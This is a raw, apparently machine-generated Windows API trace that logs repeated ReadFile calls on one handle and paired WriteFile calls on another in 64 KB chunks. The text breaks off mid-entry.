[0194.892] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.893] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.893] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.894] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.938] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.939] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.940] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.941] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.941] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.943] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.943] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.944] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.945] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.946] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.946] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.948] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.948] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.948] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.950] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.950] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.950] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.952] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.953] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.954] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.955] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.957] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.957] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.958] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.960] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.960] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.961] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.963] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.964] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.965] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.967] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.968] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.969] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.974] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.974] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.976] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.035] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.036] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.037] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.037] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.038] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.039] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.048] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.051] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.052] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.054] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.054] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.055] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.061] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.061] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.062] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.070] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.071] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.072] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.074] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.075] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.076] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.082] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.083] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.084] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.086] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.086] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.087] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.130] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.131] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.132] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.132] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.133] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.134] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.135] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.135] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.136] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.139] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.139] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.140] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.142] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.142] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.143] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.145] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.146] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.147] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.148] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.149] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.150] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.151] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.151] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.152] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.153] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.154] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.155] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.164] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.167] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.168] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.198] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.198] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, 